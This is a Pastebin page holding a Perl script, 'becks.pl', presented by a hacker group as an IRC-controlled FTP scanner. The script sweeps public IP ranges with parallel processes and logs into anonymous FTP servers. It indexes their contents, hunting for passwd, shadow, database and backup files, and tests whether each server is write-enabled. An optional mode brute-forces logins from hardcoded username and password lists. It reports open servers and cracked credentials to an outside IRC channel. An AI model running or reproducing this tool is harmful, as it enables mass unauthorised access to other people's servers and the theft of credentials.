Advertisement
causevd

FTP Scanner

Sep 9th, 2014
8,613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.60 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # Hollow Chocolate Bunnies From Hell
  4. # presenting
  5. # becks.pl - FTP scanner by softxor
  6. # Version 0.9
  7. #
  8. #
  9. # becks.pl is an IRC bot that scans for anonymous FTP servers or FTP's witth easy to break
  10. # password protection and posts the contents (if anonymous login) or the login data to a specific Channel
  11. #
  12. # usage: ./ftp_scan 132.311.0.0
  13. #
  14. # Greets fly out to: rembrandt, kamooo, evil, zera, litestar, #milw0rm
  15. #
  16. # Contact:
  17. # - WWW: http://bunnies.rootyourbox.org/
  18. # - MAIL: insertnamehere at gmx dot de
  19. # - IRC: #hcbfh @ irc.milw0rm.com
  20. #
  21. # NOTE: This bot has been written just for fun. If you can't get it running, it's better that way.
  22. #
  23. # Yet to come:
  24. # extern pass/userfile
  25.  
  26. use strict;
  27. use warnings;
  28. use Net::FTP;
  29.  
  30. #################################
  31. # Global Configuration #
  32. #################################
  33. my %config = (max_childs => 40, # Maximal parallel process (recomended up to 100)
  34. logging => 1, # If 1, then enable logging
  35. use_brute_force => 0, # If 0, then scans only for anonymous ftps
  36. indexing => 1, # If 1, creates for every accessed ftp a file with the contents of that ftpd
  37. anon_email => 'bleh@blah.co.uk', # Email Address to use in anonymous checking
  38. timeout => 1, # Connection timeout in seconds
  39. passfile => '', # Missing/not implemented in this version
  40. userfile => ''); # Missing/not implemented in this version
  41.  
  42. #################################
  43. # IRC settings #
  44. #################################
  45. my %irc = (enabled => 1, # 1 for enable IRC bot
  46. server => 'IRC.YourServer.COm',
  47. port => 6667,
  48. nickname => 'FTP-747',
  49. username => 'ftpbot ftpbot ftbot ftpbot', # Yes it has to be four times
  50. channel => '#Channel',
  51. nickserv => ''); # Nickserv password
  52.  
  53. #################################
  54. # Data for brute forcing attack #
  55. #################################
  56. my @usernames = qw(Administrator upload admin web webmaster user root ftp test asd asdf test test1 test123);
  57.  
  58. my @passwords = qw(password qwertz asdf test test123 1234 1111 12 345678 4321 12345678 123456 secret letmein upload pass support passwort god love 007 admin knight wizard letmein test administrator root web webmaster ftp);
  59.  
  60.  
  61. # Global declarations
  62. my $childs = 0;
  63.  
  64.  
  65. # Mirc colors
  66. my %colors = (white => "\x030",
  67. red => "\x034",
  68. green => "\x033",
  69. gray => "\x0314",
  70. yellow=> "\x038",
  71. blue => "\x0312",
  72. cyan => "\x0311",
  73. orange=> "\x0307");
  74.  
  75.  
  76. # Parse teh argument!
  77. my($ipa, $ipb, $ipc, $ipd) = ($ARGV[0] =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) or die("Append start IP.\n");
  78.  
  79.  
  80. &main();
  81. exit();
  82.  
  83.  
  84. sub main {
  85.  
  86. # Start IRC notifying process
  87. if ($irc{'enabled'} == 1) {
  88. pipe(IN, OUT) || die "Can't create pipe....\n";
  89.  
  90. OUT->autoflush(1);
  91. IN->autoflush(1);
  92.  
  93. if (!fork) {
  94. &irc_notify();
  95. } else {
  96. close IN;
  97. }
  98.  
  99. sleep(30); # needed to let the IRC process join the channel
  100. }
  101.  
  102. close IN;
  103.  
  104.  
  105. print "Start scanning...\nBe patient.\n";
  106.  
  107. my $OUTPUT_AUTOFLUSH = 1; # To avoid buffering problems with fork()
  108.  
  109. # loop through IPs
  110. while (1) {
  111. for my $a ($ipa..255) {
  112.  
  113. if ($a == 10 || $a == 198 || $a == 127 || $a == 0 || $a == 172 || $a == 1) {
  114. next;
  115. }
  116.  
  117. for my $b ($ipb..255) {
  118. for my $c ($ipc..255) {
  119. for my $d ($ipd..255) {
  120.  
  121. if (fork() == 0) {
  122. #print "$a.$b.$c.$d\n"; # Uncomment for verbose output
  123. &scan("$a.$b.$c.$d");
  124. exit;
  125. } else {
  126. $childs++;
  127. if ($childs >= $config{'max_childs'}) {
  128. wait();
  129. $childs--;
  130. }
  131. }
  132.  
  133. } # end $d
  134. } # end $c
  135. } # end $b
  136. } #end $a
  137.  
  138. } # end while
  139.  
  140. } #end main()
  141.  
  142.  
  143. # gets the content of a dir by recursion
  144. sub get_dir {
  145.  
  146. my ($cur_dir, $ftp) = @_;
  147. my ($content, @found_files, $write, @dirs);
  148. $content = ''; # needed
  149. my %data_types = (mpg => 'Video',
  150. avi => 'Video',
  151. xvid=> 'DivX',
  152. divx=> 'DivX',
  153. mp3 => 'Music',
  154. ogg => 'Music',
  155. sql => 'MySQL',
  156. xxx => 'Pr0n',
  157. pdf => 'Pdf',
  158. jpg => 'Pictures',
  159. gif => 'Pictures',
  160. zip => 'Zip',
  161. ace => 'Ace',
  162. rar => 'Rar',
  163. exe => 'Exe',
  164. txt => 'Txt',
  165. passwd => 'passwd',
  166. shadow => 'shadow',
  167. htm => 'HTML',
  168. mdb => 'AccessDB',
  169. bak => 'Backup',
  170. xls => 'Excel Sheet');
  171.  
  172. $ftp->cwd($cur_dir);
  173. my @files = $ftp->dir;
  174.  
  175. if ($cur_dir eq '/') {
  176. $write = &test_write($ftp);
  177. }
  178.  
  179. # $_ isnt working here, because of validity conflicts :(
  180. foreach my $file (@files) {
  181.  
  182. if ($file eq '.' || $file eq '..') {
  183. next;
  184. }
  185.  
  186.  
  187. if ($file =~ m/^d[rwx-].*\d\s(.*?)$/) {
  188. push (@dirs, $1);
  189. } else {
  190.  
  191. # find interesting content
  192. foreach my $type (keys %data_types) {
  193. if ($file =~ m/$type$/gi) {
  194. push (@found_files, $data_types{$type});
  195. }
  196. }
  197.  
  198. }
  199.  
  200. } # end for each
  201.  
  202.  
  203. while(my $cur = pop(@dirs)) {
  204. if ($cur_dir eq '/') {
  205. $content .= &get_dir('/'.$cur, $ftp);
  206. } else {
  207. $content .= &get_dir($cur_dir.'/'.$cur, $ftp);
  208. }
  209. }
  210.  
  211.  
  212. @found_files = &del_double(@found_files);
  213.  
  214. foreach my $files (@found_files) {
  215. $content .= $files.' ';
  216. }
  217.  
  218.  
  219. if ($write) {
  220. $content .= "$colors{'red'}Write-Enabled";
  221. }
  222.  
  223. return $content;
  224.  
  225. }
  226.  
  227.  
  228.  
  229. sub scan {
  230.  
  231. my ($host) = @_;
  232.  
  233. my $ftp = Net::FTP->new($host,Timeout=>$config{'timeout'}) or return;
  234.  
  235.  
  236. # grab banner
  237. my $banner = $ftp->message;
  238. $banner =~ s/\n/ /g;
  239.  
  240.  
  241. # Anonymous checker
  242. if ($ftp->login('anonymous', $config{'anon_email'})) {
  243.  
  244. if ($config{'logging'}) {
  245. open(LOG, ">anonymous.log");
  246. } else {
  247. open(LOG, '>-');
  248. }
  249.  
  250.  
  251.  
  252. if ($config{'indexing'}) {
  253. my $content = &get_dir("/", $ftp);
  254.  
  255. if($irc{'enabled'}) {
  256.  
  257. if ($content ne '') {
  258. print OUT "$colors{'white'}Anonymous FTP: $colors{'orange'}ftp://$host/ $colors{'white'}Content: $colors{'yellow'}$content$colors{'white'}Banner: $colors{'orange'}$banner\n";
  259. } else {
  260. print OUT "$colors{'white'}Anonymous FTP: $colors{'orange'}ftp://$host/ $colors{'white'}Banner: $colors{'orange'}$banner\n";
  261. }
  262.  
  263. } #end irc
  264.  
  265. print LOG "ftp://$host/ Content: $content Banner: $banner\n"
  266.  
  267. } else {
  268.  
  269. if($irc{'enabled'}) {
  270. print OUT "$colors{'white'}Anonymous FTP: ftp://$host/ Banner: $colors{'orange'}$banner\n";
  271. }
  272.  
  273. print LOG "ftp://$host/ Banner: $banner\n"
  274.  
  275. }
  276.  
  277. close(LOG);
  278.  
  279. $ftp->quit;
  280.  
  281. return;
  282. } # end anonymous
  283.  
  284.  
  285.  
  286. # if you're not willing, you'll never grow old!
  287. if ($config{'use_brute_force'}) {
  288.  
  289. foreach my $user (@usernames) {
  290. foreach my $pass (@passwords) {
  291. if($ftp->login($user, $pass)) {
  292.  
  293. if ($config{'logging'}) {
  294. open(LOG, ">protected.log");
  295. } else {
  296. open(LOG, '>-');
  297. }
  298.  
  299.  
  300. if($irc{'enabled'}) {
  301. print OUT "$colors{'red'}ftp://$user:$pass\@$host/ $colors{'white'}banner: $colors{'orange'}$banner\n";
  302. }
  303.  
  304. print LOG "ftp://$user:$pass\@$host/\n";
  305. close(LOG);
  306.  
  307. $ftp->quit;
  308.  
  309. return;
  310.  
  311. } else {
  312. next;
  313. }
  314. }
  315. }
  316. } # end brute force
  317.  
  318.  
  319. return;
  320. }
  321.  
  322.  
  323.  
  324. # paste incoming ftps on the irc channel
  325. sub irc_notify {
  326.  
  327. print "Staring IRC client\n";
  328.  
  329. close OUT;
  330.  
  331. my $con = IO::Socket::INET->new(PeerAddr=>$irc{'server'},
  332. PeerPort=>$irc{'port'},
  333. Proto=>'tcp',
  334. Timeout=>'30') or die("Error: IRC handler cannot connect\n");
  335.  
  336. if(fork) {
  337. # waiting for new ftps, to give them out
  338. while (my $answer = <$con>) {
  339.  
  340. if($answer =~ m/^PING \:(.*?)$/gi) {
  341. print $con "PONG :".$1."\n";
  342. }
  343.  
  344. }
  345.  
  346. }
  347.  
  348. print $con "USER $irc{'username'}\r\n";
  349. print $con "NICK $irc{'nickname'}\r\n";
  350.  
  351. sleep(5);
  352. print $con "JOIN $irc{'channel'}\r\n";
  353. print "IRC client is running.\n";
  354.  
  355. if ($irc{'nickserv'}) {
  356. print $con "privmsg nickserv IDENTIFY $irc{'nickserv'}\r\n";
  357. }
  358.  
  359.  
  360. # make sure we dont ping out
  361. while (my $ftp = <IN>) {
  362. print $con "privmsg $irc{'channel'} :$ftp\r\n";
  363. }
  364.  
  365. close $con;
  366. }
  367.  
  368.  
  369.  
  370. # test if ftp is write enabled
  371. # return 1 if writing is allowed,
  372. # 0 if permitted
  373. sub test_write {
  374. my $ftp = $_[0];
  375.  
  376. if ($ftp->mkdir("test")) {
  377. $ftp->rmdir("test"); # we want to be 'polite' ;)
  378. return 1;
  379. }
  380.  
  381. return 0;
  382. }
  383.  
  384.  
  385.  
  386. # deletes double entries in an array
  387. sub del_double {
  388. my %all;
  389.  
  390. grep { $all {$_} = 0} @_;
  391.  
  392. return (keys %all);
  393. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement